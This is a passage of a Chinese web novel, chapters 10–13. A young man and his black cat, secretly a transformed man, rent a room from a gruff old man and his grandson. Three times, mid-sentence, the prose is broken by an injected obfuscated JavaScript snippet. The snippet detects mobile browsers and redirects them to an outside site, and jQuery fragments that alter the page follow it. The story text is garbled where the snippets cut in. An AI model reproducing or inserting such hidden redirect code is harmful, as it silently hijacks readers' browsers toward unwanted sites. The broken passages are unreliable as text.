“好。”沈南风点点头,跑了两趟就把所有东西都放进了后备箱,最后拎着装着黑猫的航空舱。
但是看着那明显十分昂贵的真皮座椅,他抿了抿唇,小声道,“茗茗姐,我跟球球一起坐在后面行不行,我没有把您当司机的意思,就是担心它坐车会应激,也害怕刹车颠簸什么的航空舱摔下来把您车座给弄坏......”
“你高兴怎么就行,不用这么谨慎。”赵茗哭笑不得。
沈南风摸了摸鼻子,“我就是觉得您这车挺贵的,弄坏了估计要花不少钱。”
黑猫听到这话,不屑地哼了一声。
等它弄到沈南风的密码,联系上顾时序,别说一辆玛莎拉蒂,就算十辆二十辆,都能让这没见过世面的铲屎官在停车场当碰碰车撞着玩儿!
10. 第 10 章
沈南风抱着航空舱轻手轻脚坐进车里,担心航空舱边缘会把真皮车座刮破,他直接放在自己腿上。
系好安全带后,沈南风手指从航空舱缝隙探了进去,轻轻戳了戳黑猫,安抚地笑了笑。
黑猫有些不自在,抖了抖耳朵,将脑袋别到一边,只是那轻轻晃悠的尾巴尖儿暴露了它愉悦的心情。
“对了,这个给你。”赵茗从包里掏出两个信封递给沈南风。
沈南风看着那厚度,没敢接,试探性问道,“茗茗姐,这里面是?”
“酒吧卖了不少钱,上面这个信封里是给你的分成。”赵茗嘴角轻翘,“至于下面这个,是凌晨卖你消息的分成,拿着吧,都是你应得的。”
“哎?”沈南风傻眼,回过神来连连摆手,“茗茗姐您不用这样,我也没出什么力,这钱我不能收。”
赵茗眉梢微挑,语气变得有些强势,“你要是不收,那接下来的话我还怎么说?”
沈南风眨了眨眼,试探性问道,“什么话?”
赵茗将信封抛到他怀里,这才道,“实不相瞒,我跟我朋友手里都有想出手的房子,就是价格不满意,一直拖着,等下秦老爷子要是不同意你留下来,我就带你去别的地儿。”
“沈家财大气粗,我那酒吧都能说买就买,房子肯定不在话下,你与其跟个小可怜似的被他们撵得到处跑,不如咱俩合伙,房子要是卖出去,超出市场价的部分给你两成,如何?”
沈南风倒吸一口凉气,看向赵茗的眼中满是敬佩。
就连黑猫也一扫之前漫不经心的态度,觉得赵茗脑子活泛胆子也大,要不是它这会儿没办法变成人,真想把她挖到自己手底下办事。
“你别嫌钱少,我这也要担风险的,万一让沈博恒知道了,保不齐会怎么针对我。”赵茗语气十分真诚。
“我不是这个意思,只是觉得茗茗姐很厉害。”沈南风夸赞道。
“所以你这是同意了?”赵茗紧紧地盯着他,不想错过他的任何变化。
“我没有拒绝的道理吧?”沈南风莞尔。
赵茗朝他伸出右手,“那我们合作愉快?”
沈南风握住赵茗的手,“合作愉快。”
谈妥之后,赵茗心情变得特别好,嘴角始终上扬着。
沈南风却想到了另外一件事,踌躇片刻,还是想给赵茗打个预防针,“那个,茗茗姐。”
赵茗挑眉,“嗯?”
“要是秦老爷子同意——”沈南风越说声音越小。
“那不更好?”赵茗从后视窗观察着他的表情,见只有担忧,没有后悔,轻笑了一声,道,“钱没了可以再赚,你这样的好人可不多,毕竟那一老一小的没个人照看着我是真的不放心。”
“当然,我也尊重你的选择,如果你更着急赚钱,我们直接进行预备方案也没关系,我可以多买些东西去拜访老爷子的左邻右舍,也没什么影响,你不用觉得不好意思,按照自己的本心来就行。”
沈南风正要回答,赵茗直接打断他,“从这里过去大约四十分钟,你好好想想,不着急给我答案。”
沈南风便认真想了。
他看着航空舱内的黑猫,纠结片刻,最后还是觉得不管是出于感情还是利益,都想先试试前者,便这样跟赵茗说了。
赵茗听完他的回答,十分满意,“说实话,我真的挺喜欢你的,只可惜我对钱的兴趣更大,不想让朝不保夕的糟心感情破坏我们纯洁的利益关系。”
沈南风目光十分真诚,“茗茗姐能这样想我很高兴,毕竟我不觉得自己会是一个好的伴侣,但我大概率会是一个不错的朋友。”
赵茗瞥了一眼他腿上的航空舱,调侃道,“但凡你对未来的伴侣能有对你这只猫的一半好,完全能够被冠上二十四孝好男友或者好老公的头衔哦~”
她倒不是夸张,而是这年头长得好看、脾气不错、不抽烟、不酗酒、不乱搞、爱干净、会做家务、精通厨艺、懂感恩、知进退、聪明又敞亮的男人实在是打着灯笼都难找。
沈南风只是笑了笑,并没有多做解释。
虽然他现在看着正常,但对跟一个人有太过亲密的关系实在是接受无能。
就因为他见过自己的父母爱的时候有多爱,恨的时候就有多恨,甚至牵连到他这个婚生子,真的会恐惧自己将来要是结了婚,有了孩子,也会让自己的孩子重蹈覆辙。
与其那样,不如从根源上解决问题。
一个人生活确实会寂寞,但他有猫就够了。
只要猫愿意,认了主,就会一直陪着他,不会背叛他。
沈南风觉得就冲着这个,他对黑猫再好都不为过。
赵茗从后视镜看到沈南风那温柔又专注的目光,突然明白了为什么家里人总看着她叹气,然后来一句“你总不可能跟钱过一辈子吧”。
不过她没有把这个问题问出口,因为不用想也知道,沈南风真的会陪着黑猫过完黑猫的一辈子。
都是成年人了,没有谁能为另一个人负责,自己做的决定,将来后不后悔都是自己的事。
黑猫听完两人的谈话,突然觉得比起顾时序,赵茗或许会是一个更好的合作对象。
跟那只闻着血腥味儿就会扑上来不管不顾撕咬的豺狼不同,赵茗虽然注重利益,但多了顾时序缺乏的人情味。
她既然能为了那一老一少放弃可能得到的诸多收入,将来要是哪天自己身份曝光,也不会想着对沈南风下手,反而会尽力护着。
车开到半路,沈南风突然想起来自己要登门拜访却什么见面礼都没带,哪怕赵茗说她已经准备了,还是去了趟超市,在赵茗的建议下买了些新鲜水果和小孩子爱吃的零食。
半小时后,车停到一个略微老旧的居民楼前。
沈南风刚下车,把装着黑猫的航空舱放到地上,一阵急促的脚步声由远及近。
距离他不远处的院门打开,一个小豆丁炮弹似的冲了过来,直接扑到他腿上,“茗茗姐,我好想你啊!”
沈南风:“......”
黑猫:“.....”
赵茗:“噗。”
小豆丁这会儿也察觉到不对了,赵茗的衣服料子都特别好,这会儿不管是手掌还是脸颊下面的触感都有些粗糙。
而且赵茗身上经常喷着好闻的香水味,这会儿却只能闻到洗衣粉清爽的味道。
再
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13735084|145108||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
加上那声熟悉的轻笑是从身后响起的,小豆丁先是一愣,然后仰头,直直撞进一双温柔漂亮的琥珀色眸子里。
他艰难地咽了一口口水,又缓缓扭头,就见赵茗站在他身后,正笑盈盈看着他。
小豆丁如遭雷劈,粉雕玉琢的小脸也一点点涨得通红。
他迅速撒手,猛地后退了几步,又深深鞠了一躬,超大声道,“对不起!大哥哥!我不是故意的!”
因为用力过猛,他险些一头栽到地上。
还是沈南风眼疾手快托了一把,才避免了悲剧的发生。
等小豆丁站稳了,他才忍着笑摆了摆手,道,“没事。”
小豆丁小心翼翼打量他的表情,见他是真的没生气,这才松了一口气。
他看看沈南风,再瞅瞅赵茗,确定这俩人是一起来的,眼睛顿时变得亮晶晶的,“大哥哥,你是财神爷吗?”
沈南风:“啊?”
他低头看了下自己的穿着,还是被沈家扫地出门时的那身陈旧的装扮,怎么看都不像有钱人吧?
“不是吗?”小豆丁挠了挠头,黑葡萄似的眼睛里满是困惑。
沈南风不是很理解小豆丁的脑回路,直接问他,“你为什么觉得我可能是财神爷?”
小豆丁认真回答道,“茗茗姐说过,她只对钱感兴趣,大哥哥要不是财神爷,怎么可能当她男朋友?”
沈南风:“......”
黑猫:“......”
赵茗到底有多爱钱,竟然让这么小的孩子都印象深刻到这种地步?
赵茗用力揉搓小豆丁的脑袋,将他弄得东倒西歪,“你这小屁孩儿胡说八道什么,这是我朋友,不是男朋友。”
“不是男朋友的话茗茗姐带大哥哥过来干什么?”小豆丁好不容易从赵茗的魔爪下面挣脱出来,晃了两下身体,好奇地问道。
“因为他无家可归,我又不方便收留,就想着你们家还有一个房间空着,我寻思着或许可以租给他。”赵茗道。
小豆丁听到这话,满脸同情看着沈南风,“大哥哥你真的没有家吗?”
沈南风:“......”
虽然是事实,但从小孩子嘴里蹦出来,怎么这么扎心?
他轻咳一声,解释道,“哥哥虽然没有房子,但是有钱,要是你们家不方便,哥哥也能找别的房子住。”
小豆丁听到这话,顿时急了,“大哥哥,既然你是茗茗姐的朋友,那就是我的朋友,哥哥想住多久都可以,我零花钱可多了,你想吃什么我都能给你买!”
沈南风被小孩子天真又善良的言语暖到,嘴角轻轻翘了翘,“谢谢你,不过哥哥还有一只猫,它也没有家,哥哥不能丢下猫不管,就算最后不能住在你家,也没关系的。”
小豆丁顿时来了兴趣,“猫?什么猫?在哪里?”
沈南风指了指航空舱,介绍到,“就是它,它叫球球,大名煤球,小名球球,球球很聪明的,也不调皮捣蛋,别看它这么高冷,其实它特别温柔哦。”
赵茗瞅着那只眼神犀利的黑猫,嘴角抽了抽。
原谅她眼拙,可她实在看不出来那只臭脸黑猫到底温柔在哪里!
11. 第 11 章
小豆丁趴在地上,往航空舱里面一看,顿时瞪圆了那双乌溜溜的大眼睛,“哇!是黑猫哎!好酷!”
沈南风嘴角上扬,一副与有荣焉的样子,“球球它确实很酷。”
赵茗看着这一大一小两个黑猫吹,突然觉得沈南风留下来的成功率窜上去一大截。
虽然遗憾大概率没办法从房子上捞钱,不过沈南风要是合老爷子的眼缘,她更高兴。
赵茗轻笑一声,拍了拍手,提醒道,“太阳这么大,你们打算一直待在外面?”
小豆丁麻溜地从地上爬起来,吭哧吭哧推开院门,热情地招呼道,“茗茗姐,大哥哥,还有球球,请进!”
沈南风再次被小豆丁逗笑。
为了避免失望,他本来没抱太大希望。
可这会儿看着真心喜欢黑猫的小豆丁和宽敞得可以让黑猫自由活动的院子,沈南风却是真的有点希望自己能够留下来了。
沈南风透过航空舱的缝隙看着尽管趴着依旧透出一股王霸之气的黑猫,眼中满是温柔与怜惜。
在攒到足够的钱躺平之前,他必定要有稳定的收入来源,不得不出去找工作。
可一般公司就算同意员工带着宠物上班,黑猫的活动范围也会受到极大的束缚,万一不小心捅了什么篓子也会招致其他人的不满,很不方便。
但要是把黑猫关在家里,不让它出门,它肯定会无聊。
沈南风在网上刷过很多宠物相关的视频,知道大部分猫在铲屎官出门后都会在家里喵喵叫,或者守着门等铲屎官回来,大部分时间都在睡觉,光是看着都觉得难过。
更何况自己忙了一天回来,总归要休息,没有太多时间陪伴黑猫,所以如果有人在自己忙碌的时候能够跟黑猫一起玩,它就不会寂寞了。
沈南风这样想着,突然灵光一闪。
就算没有小豆丁,他也可以花钱雇佣其他人在他工作的时候陪着黑猫玩啊,只要在家里装几个监控就行。
或者牵引绳带出去溜达,全程开视频,总不至于出什么差错。
沈南风嘴角轻翘,将目光从黑猫身上移开,一眼就看到从屋里出来的老人。
对方穿着一身黑色唐装,头发花白,身材清瘦,这会儿板着脸,眼神锐利,活脱脱一副倔老头样儿。
沈南风从对方身上看出几分自己爷爷的影子,并不惧怕,反而觉得有些亲近。
他停下脚步,恭恭敬敬打了个招呼,“秦爷爷好。”
秦老爷子用审视的目光上下打量着他,见沈南风没有闪避,面上依旧带着谦和的笑容,淡淡地应了一声,“进来吧。”
说完,他便率先进了屋。
落座后,秦老爷子亲自给沈南风跟赵茗倒了茶,然后目光在二人身上逡巡几圈,“你这是改了性子,终于不掉钱眼里了?”
沈南风没想到秦老爷子第一句话会是这个,一口茶还没咽下去直接被呛到,咳得震天响。
航空舱里,黑猫嘴角抽了抽,很是无语。
赵茗无奈,“秦爷爷,您误会了,他不是我对象,我们只是普通朋友。”
秦老爷子皱眉,“普通朋友?”
“比真金还真!”赵茗表情十分严肃。
沈南风也跟着点头。
秦老爷子顿时露出些许失望的神情,拿起茶杯喝了一口。
赵茗轻咳一声,继续道,“南风他遇到了点麻烦,实在没处去,又带着一只猫,我就想着您能不能租给他一间屋,让他能有个落脚地。”
“猫?”秦老爷子眉头拧得死紧。
小豆丁见势不妙,直接扑到秦老爷子身上,央求道,“爷爷,大哥哥人特别好,我也超喜欢球球的,你就让他们留下来吧!”
沈南风见秦老爷子神情不悦,连忙道,“秦爷爷,球球它很乖的,一点都不调皮,不会给您添麻烦,当然,您要是不方便也没关系,我可以另外找房子,我没关系的。”
小豆丁一听这话,顿时急了,连忙松开秦老爷子,爬到沈南风身上,手脚并用抱着他,然后扭头,可怜巴巴看着秦老爷子,仿佛只要他不答应,就能立刻哭出来。
赵茗也附和道,“秦爷爷,南风养的这只猫真的很安分,一点都不调皮,之前在我那里工作的时候从来没有捅过篓子,您放心好了。”
秦老爷子臭着一张脸,声音冷冷的,“我又没说不同意,你们这一个两个的闹腾什么?”
“还有你,臭小子,太不像话了,赶紧从人家身上下来!”
小豆丁被训得缩了缩脖子,下意识往沈南风怀里钻。
沈南风担心他不小心掉下去,给他调整了一下姿势,让他坐得舒服了些。
小豆丁舒舒服服窝在沈南风怀里,抖了抖藕节一般的小腿。
秦老爷子看着小豆丁天真无邪的笑脸,神情有些恍惚,再看赵茗时,他目光也带了几分探究。
赵茗恍若未觉,微笑着对小豆丁道,“既然秦爷爷同意,阳阳你带南风去看一下房间,要是觉得可以,就把东西搬进来。”
小豆丁眼睛一亮,有些不舍得蹭了蹭沈南风,这才吭哧吭哧从他身上下去,然后牵着他的手带他往次卧跑。
沈南风跟二人点点头,这才跟着小豆丁过去。
虽然是次卧,却比之前的杂物间大了两倍不止。
里面除了床,还有一个占据了一面墙的衣柜,能放不少东西。
沈南风盘算了一下,打算得空去二手市场淘个桌椅,另外再给黑猫弄几个猫爬架,如今快入冬了,猫窝不管用不用得着,先添置了再说。
“大哥哥,你喜欢这个房间吗?”小豆丁眼睛亮晶晶的,语气中满是希冀。
“很喜欢。”沈南风眼弧微弯,轻轻摸了摸小豆丁的脑袋。
“那你愿意留下来了?”小豆丁确认道。
沈南风微笑,“嗯。”
小豆丁欢呼一声,“好耶!”
参观完房间,沈南风想到还在航空舱里面的黑猫,牵着小豆丁出去,询问道,“秦爷爷,我能把球球放出来吗?”
“随便你。”秦老爷子依旧臭着一张脸,但态度和缓了许多,“不过它要是弄坏东西或者跑丢了,你自己得负责。”
“这是自然。”沈南风应承得特别利索,他弯了弯唇,打开航空舱的门,笑眯眯对黑猫道,“球球,出来吧。”
黑猫也好奇他们接下来的新住所是什么样,伸了个懒腰,活动开筋骨,这才慢吞吞走了出来。
小豆丁看着站起来几乎有自己高的黑猫,眼睛瞪得浑圆,“哇,它好大!”
沈南风被小豆丁夸张的语气逗笑。
黑猫没好气白了这一惊一乍的小豆丁一眼,开始巡视起它的新地盘。
沈南风看着打开的门,尽管院门关着,可想到黑猫那惊人的弹跳力,犹豫了一下,还是翻找出定位
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13735085|145108||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
器,打算给黑猫戴上。
黑猫看到那明显是项圈还有宠物铃铛样式的定位器,瞬间炸毛。
它虽然变成猫,但灵魂还是人,怎么能戴这种羞耻的东西!
它不要面子的吗?
黑猫尾巴甩得啪啪作响,明显不高兴了。
“哇,它现在好像一直黑色的蒲公英,还有点像海胆!”小豆丁蹲到沈南风旁边,兴致勃勃看着黑猫。
沈南风被小豆丁这个比喻逗笑,又怕黑猫气到离家出走,轻咳一声,放软声音哄道,“球球,你要是想能自由活动,就得戴上定位器,不然我不放心。”
“这个定位器上面有我的名字和联系方式,到时候你跑得太远找不到家,不仅我可以找到你,捡到你的人也能联系上我,这对咱们都好。”
秦老爷子哼了一声,“它要是闯祸,人家看在项圈的份上也不会要了它的小命,能找你讨要赔偿。”
沈南风想了想,虽然他不觉得黑猫会主动闯祸,但难保出去玩的时候不会不小心损坏别人的东西,这种情况下,找他赔偿总比直接把猫弄死好。
这么一来,他更加坚定了要给黑猫戴上定制款定位器的决心。
沈南风好说歹说半天,黑猫都坚定拒绝,一次又一次用爪垫推开定位器。
秦老爷子“啧”了一声,只觉得这黑猫能这样不配合,完全是沈南风这个不中用的铲屎官自己惯出来的。
如果是其他事,沈南风完全会顺着黑猫的心意来,可事关黑猫的安全问题,他这次态度十分坚定。
见讲道理讲不通,他索性直接上手,趁着黑猫不注意,“咔哒”一下,将项圈直接套到黑猫脖子上。
黑猫:???
黑猫:!!!
它那双漂亮的祖母绿眸子瞪得圆滚滚,看看沈南风,再瞅瞅脖子上的定位器......好吧,虽然由于猫的身体看不到,但那存在感却强到让人难以忽视。
黑猫羞愤欲死,就要用爪子将定位器从脖子上扒拉下来!
沈南风握住抬起的猫爪,叹了一口气,熟练地开始卖惨,“球球,这个定位器好几百块钱呢,能买好多大虾,给你做好多好吃的,你要是弄丢了,我会很伤心的。”
黑猫动作一顿,不得不承认沈南风买定位器的时候真的很缺钱,能为了它的安全着想花几百块弄这玩意儿真的很用心......
但就算夸得天花乱坠,这也是宠物用品!
黑猫再次菜刀眼怒瞪沈南风!
这要让那些讨厌它的人知道这段黑历史,保不齐笑成什么样!
沈南风见讲道理行不通,也开始胡搅蛮缠,“总之,这个必须戴,不然我就天天让你吃猫罐头,不给你做猫饭!”
黑猫:“......”
黑猫翻了个大大的白眼,觉得沈南风这个威胁实在是软绵绵的,没有半点威慑力。
就算真的买了猫罐头,自己就是不吃,按照这人心软的程度,硬气不了多久就会摇旗投降,还会自责太苛待它。
但猫罐头是钱买的,沈南风肯定舍不得扔,大概率会忍着怪味儿吃掉,这种事之前又不是没发生过。
黑猫叹了一口气,放下爪子,只是心里暗搓搓给沈南风记了一笔。
要是哪天它能变成人,非得让沈南风戴着同款项圈和铃铛,嗯,最好再加一对猫耳朵和猫尾巴,然后喵喵叫,叫到它满意了才能停下来!
12. 第 12 章
黑猫越想越兴奋,甚至脑海中已经浮现出那样的画面。
它突然觉得有些口干舌燥,身体也逐渐发烫,甚至产生了一种奇异的感觉,就仿佛下一秒能直接——
“大哥哥,我能摸一下球球吗?”小豆丁稚嫩的声音突然响起。
黑猫一扭头,对上一那双写满了渴望的乌溜溜大眼睛。
黑猫:“......”
虽然不明白发生了什么,心里莫名有种很不爽的感觉。
沈南风看着黑猫充满杀意的菜刀眼,不懂它怎么突然就生气了。
想到赵茗的调侃,他这会儿真的觉得自己仿佛养了个喜怒无常时时刻刻都要人哄的小男朋友。
担心黑猫一怒之下会挠伤小豆丁,沈南风决定先安抚黑猫的情绪。
他试探性将手伸到黑猫鼻子前面,见它没有推开,这才轻轻摸了摸它的头。
黑猫心中的烦躁在沈南风温柔的安抚下逐渐平息,疯狂甩动的尾巴也停了下来,尾巴尖儿一翘一翘的,喉咙里还控制不住地发出“咕噜咕噜”的声音。
沈南风看着它惬意眯眼的模样,脸上的笑意怎么都遮掩不住。
赵茗无力扶额。
又出现了,沈南风这种不值钱的傻铲屎官样儿!
小豆丁仿佛热锅上的蚂蚁,急得团团转。
但他家教很好,再着急,没有得到同意,也克制着没有上手摸,就那样眼巴巴看着。
沈南风余光瞥见小孩儿馋到不行的样子,突然想逗逗他,便忍笑道,“阳阳,你口水快掉地上了,快擦擦。”
小豆丁一愣,下意识伸手擦嘴,结果什么都没有,又抬起头,呆呆地看着沈南风。
沈南风忍俊不禁。
黑猫则翻了个白眼。
“大哥哥,我现在能摸摸球球了吗?”小豆丁拉住沈南风的衣角晃了晃,锲而不舍问道。
沈南风没有善做主张,见黑猫这会儿心情还不错,应该不会随便挠人,才道,“你直接问球球吧,它要是不愿意,会拒绝的。”
黑猫听到这话,不由愣住。
但对上沈南风温柔含笑的眸子,又觉得这是他会说出来的话,心里更加舒坦了。
小豆丁学着沈南风刚刚的样子先把手伸到黑猫鼻子前面一点点的位置,“球球,你好威风啊!我超级喜欢你的!所以能摸摸你吗?”
黑猫这会儿心情不错,再加上联系到顾时序之前还要跟沈南风在对方家里住,便点了点头。
“哇,它真的同意了!”小豆丁眼睛瞪得圆滚滚,那语气夸张得仿佛哥伦布发现了新大陆。
沈南风被逗得不行,只觉得这小家伙是个小开心果儿。
小豆丁轻轻抚摸着黑猫柔软顺滑的毛毛,那小嘴儿跟抹了蜜般,夸赞的话连珠炮似的往外蹦。
黑猫听着听着,莫名有种诡异的熟悉感。
视线略微偏移,对上沈南风笑眯眯的漂亮脸蛋,它嘴角抽了抽。
虽然长相不太一样,但在某些方面,这一大一小还真有种异曲同工之妙。
难怪这么投缘。
秦老爷子看着那两人一猫,摩挲着杯壁,不知道在想些什么。
赵茗嘴角噙着一抹笑,等小豆丁过完手瘾,才慢条斯理从包里掏出三分租房合同,“既然你们对彼此都很满意,就把合同签一下,租金一个月六百,水电煤气付一半,半年起租,押一付三可以吗?”
她话音刚落,沈南风跟秦老爷子齐齐皱眉。
沈南风:“茗茗姐,一个月六百是不是少了点,就算是合租,这个地段也该一千起步吧?”
秦老爷子:“我们家就两个人,那个房间空着也是空着,他是你的朋友,想住就住,谈什么钱不钱的?”
两人声音同时响起,说完又看向对方,一时间客厅都安静了下来。
赵茗噗嗤一笑,还觉得挺有趣。
秦老爷子有些尴尬,轻咳一声,威严道,“这房子是我这个老头子的,我说不收钱就不收钱,秦家还没穷到那份上!”
“但是秦爷爷,我跟茗茗姐只是普通朋友,你们有交情是你们两家关系好,我就是一个外人。”沈南风十分诚恳,“要是暂住几天倒也罢了,时间久了,要真一点租金都不给,我住得也不安生。”
秦老爷子哼了一声,不悦道,“那收了你的钱,不安生的不就成了老头子我?”
沈南风:“......”
这话他不知道怎么接,只能向赵茗投去求助的目光。
赵茗双手抱胸,回了他一个微笑。
沈南风顿时想到来的路上,赵茗说不用他付房租,另外还会给他一笔照看费的事,心情十分复杂。
这算什么?
他都做好迎接地狱模式的准备了,一下子给他换成了简单模式?
要不是来的路上沈南风偷偷掐了自己一下,能够明显感觉到疼痛,不然真以为这是在做梦。
沈南风跟秦老爷子唇枪舌战半天,才各退一步,同意了赵茗拟定好的合同。
只是最后签字的时候,秦老爷子还吹胡子瞪眼的,一副不乐意的样子。
不知道的,还以为沈南风坑了他多少钱。
经过此事,沈南风彻底确认了秦老爷子跟他爷爷一样,都是那种外冷内热类型的,看着不近人情,其实比谁都心软。
黑猫目光从几人脸上扫过,只觉得自己在看科幻片。
自打顾西洲记事起,就跟个斗士一样没有停歇,他要跟渣爹斗,跟小三上位的后妈斗,跟私生子弟弟斗,跟学校里那些受私生子弟弟指使欺负他的人斗,成年后进入公司又要跟那些老油条斗。
他习惯了以最大的恶意揣度他人,不占别人便宜就是好事了,怎么可能把自己的利益往外推?
这样的傻子他变成猫前前一个都没遇到,今天却遇到了一堆。
这难道就是传说中的物以类聚,人以群分?
小豆丁踮着脚扒着桌子,伸长脖子看他们在合同上签下自己的名字。
等一式三份都签好了,他眼晶晶看着沈南风,“大哥哥以后就是咱家的人了?”
沈南风:“......”
他又看了一眼,确定他签的是租房合同,不是卖身契,嘴角轻轻抽了抽。
这小家伙,还真是语不惊人死不休啊!
“没错,阳阳以后要跟大哥哥好好相处知道吗?”赵茗揉了揉小豆丁软乎乎的头发,笑道。
小豆丁用力点头,并且握住沈南风的手,认真承诺道,“大哥哥你放心,我一定会对你跟球球好的!”
沈南风乐得不行,却没有打击小孩儿的自信心。
他回握住小孩儿嫩豆腐一般的小手,眼弧微弯,“那就谢谢阳
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13735086|145108||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
阳啦~”
黑猫斜睨还没沈南风腰高的小豆丁,漂亮的祖母绿眸子里满是不屑。
就这三头身,保护好自己都够呛,还想保护别人,开什么国际玩笑?
可它刚吐槽完,一低头,又看到自己不争气的猫爪,一口老血直接梗在喉咙口。
可恶,它一定要尽快弄到沈南风的密码,不能继续当软饭猫了!
就在这时,小豆丁左手手腕突然“嗡嗡”震动了两下。
他收回撸猫的小胖手,在手表上划拉两下,露出了些许遗憾的神情。
黑猫眼尖地发现这个手表不是普通的手表,不仅可以发短信打电话,还有很多其他功能!
并且!
没有!
锁屏密码!
黑猫终于看到了希望,一时间竟然觉得小豆丁整个人都在发光!
“怎么了?”沈南风关切地问道。
“飞飞说他舅舅生病了,要跟妈妈去探病,下午不能跟我一起玩了。”小豆丁说完,还叹了一口气,“我还想把大哥哥介绍给他来着。”
沈南风笑着揉了揉他的小脑袋,“没事,以后有的是机会见面。”
“也是。”小豆丁脸上又重新扬起笑容。
黑猫终于确定了小豆丁的手表有通讯功能,这才彻底安心。
赵茗见他们相处融洽,笑着起身,“你们慢慢聊,我还有事,先走了。”
沈南风牵着小豆丁将她送到门口,目送赵茗离开,这才转身回去。
跟秦老爷子打了个招呼,沈南风开始整理他带过来的行李。
小豆丁特别热情,主动帮忙。
在这期间,黑猫的视线一直若有似无落在小豆丁的电话手表上。
收拾完东西,沈南风舒了一口气,打算熟悉一下环境。
小豆丁一把握住沈南风的手,语气雀跃,“大哥哥,我跟你一起吧,我对这里可熟了!”
沈南风瞅瞅小豆丁,又看向秦老爷子,有些无措。
秦老爷子摆了摆手,示意他们自便。
小豆丁顿时高兴起来,蹦蹦跳跳拉着沈南风就往外走。
黑猫也想熟悉一下附近的地形,见状,默默跟上。
沈南风手刚放到院门把手上,就见黑猫蹲坐在脚边,一副等他开门的样子,有些犹豫,“球球,你也要出去吗?”
黑猫甩给他一记菜刀眼。
这不废话?
沈南风想了想,实在不放心,拿了早就准备好的背心式牵引绳出来,跟它解释道,“我们初来乍到的,很多人都不认识,为了避免其他人不认识你,把你当流浪猫,先委屈一下,戴上这个好不好?”
黑猫看着蹲在自己面前柔声细语哄着自己的漂亮青年,心态特别平稳。
左右它项圈都戴了,也不差这一个牵引绳。
反正等它能变回人形了,不管是摸头、吸肚皮还是强行抱着它睡觉,亦或者其他,这些账都会一笔一笔慢慢跟沈南风清算,然后连本带利讨回来!
思及此处,黑猫冷哼了一声,尾巴尖儿却轻轻翘了翘。
沈南风突然感觉到一股凉意从脊椎骨窜到了天灵盖,让他冷不丁打了个哆嗦。
他警惕地四处巡视,见周围没有什么奇怪的人,这才松了一口气。
殊不知,最大的危险就是眼前这只邪恶黑猫!
13. 第 13 章
出门前,沈南风还不忘回头对秦老爷子承诺道,“秦爷爷你放心,我会照顾好阳阳的。”
秦老爷子摆摆手,一副不耐烦的样子,“知道了!”
沈南风早就看破了他的本质,跟小豆丁相视一笑。
关好院门,沈南风看看小豆丁,再瞅瞅黑猫,脑子里突然蹦出一句古诗词——老夫聊发少年狂,左牵黄,右擎苍。
他没忍住,直接笑出了声。
“大哥哥,你在笑什么啊?”小豆丁好奇地问道。
“没什么,我就是觉得今天的阳光真好,仿佛回到了我还不是——”沈南风习惯性想要玩梗,话说一半才想起来问这话的是个小豆丁,好悬才把后半段“毒夫的时候”给咽下去,飞快改口道,“还不是大人的时候。”
小豆丁歪了歪头,表情困惑,“当大人不好吗?”
沈南风思忖片刻,答道,“嗯,我的话,是觉得当大人总体来说比当小孩子好,可以赚钱养活自己,然后过上想要的生活。”
黑猫看着沈南风温柔含笑的眸子,联想到他那坎坷的人生,突然觉得他们的经历有些类似,只不过不同的心态让他们走向不同的道路。
顾西洲觉得这个世界肮脏又恶臭,围绕在他身边的也尽是些魑魅魍魉,没有一个好东西。
他最想做的是就是将那些想要将他敲骨吸髓的王八犊子全部千刀万剐,然后放一把火将顾家主宅连同自己全部烧掉。
可沈南风尽管刚出生就被掉包,养父母在发现没有东窗事发并且再生下一个儿子之后就各种作践他,他并没有自暴自弃,努力从泥潭中挣扎出来,这才有机会被沈家人找回去。
正常人遇到这种事,心里多多少少会有怨怼和愤怒,可为数不多几次撞见沈南风,对方除了被排挤和误会的委屈,眼中并没有半分恨意。
在被沈家扫地出门后,沈南风也没有崩溃,反而兴致勃勃开始了自己的新生活,这种乐观的心态甚至影响到了他,让他觉得活着还是很美好的,为了那些上不了台面的家伙把自己的命搭进去简直太不划算了。
从前顾西洲心里只有复仇,之后便是自毁。
可现在,他开始期盼起跟沈南风一起的未来了。
黑猫这样想着,目光又落到小豆丁左手戴着的电话手表上。
可恶,这小豆丁就不能识相点,主动把电话手表交给它?
这电话手表到底有多了不起,还要它想办法偷用?
黑猫讥讽完,一低头,对上两个毛绒绒的黑山竹,再次愤怒。
这没用的猫爪,除了能勾引到沈南风那个笨蛋还有什么用?
小豆丁不会读心术,压根不知道黑猫心里在想什么,只满脸崇拜看着沈南风,“大哥哥好厉害,我也想赶紧长大,那样爷爷就不用这么辛苦了。”
沈南风恍惚间从小豆丁身上看到自己曾经的影子,心中百感交集。
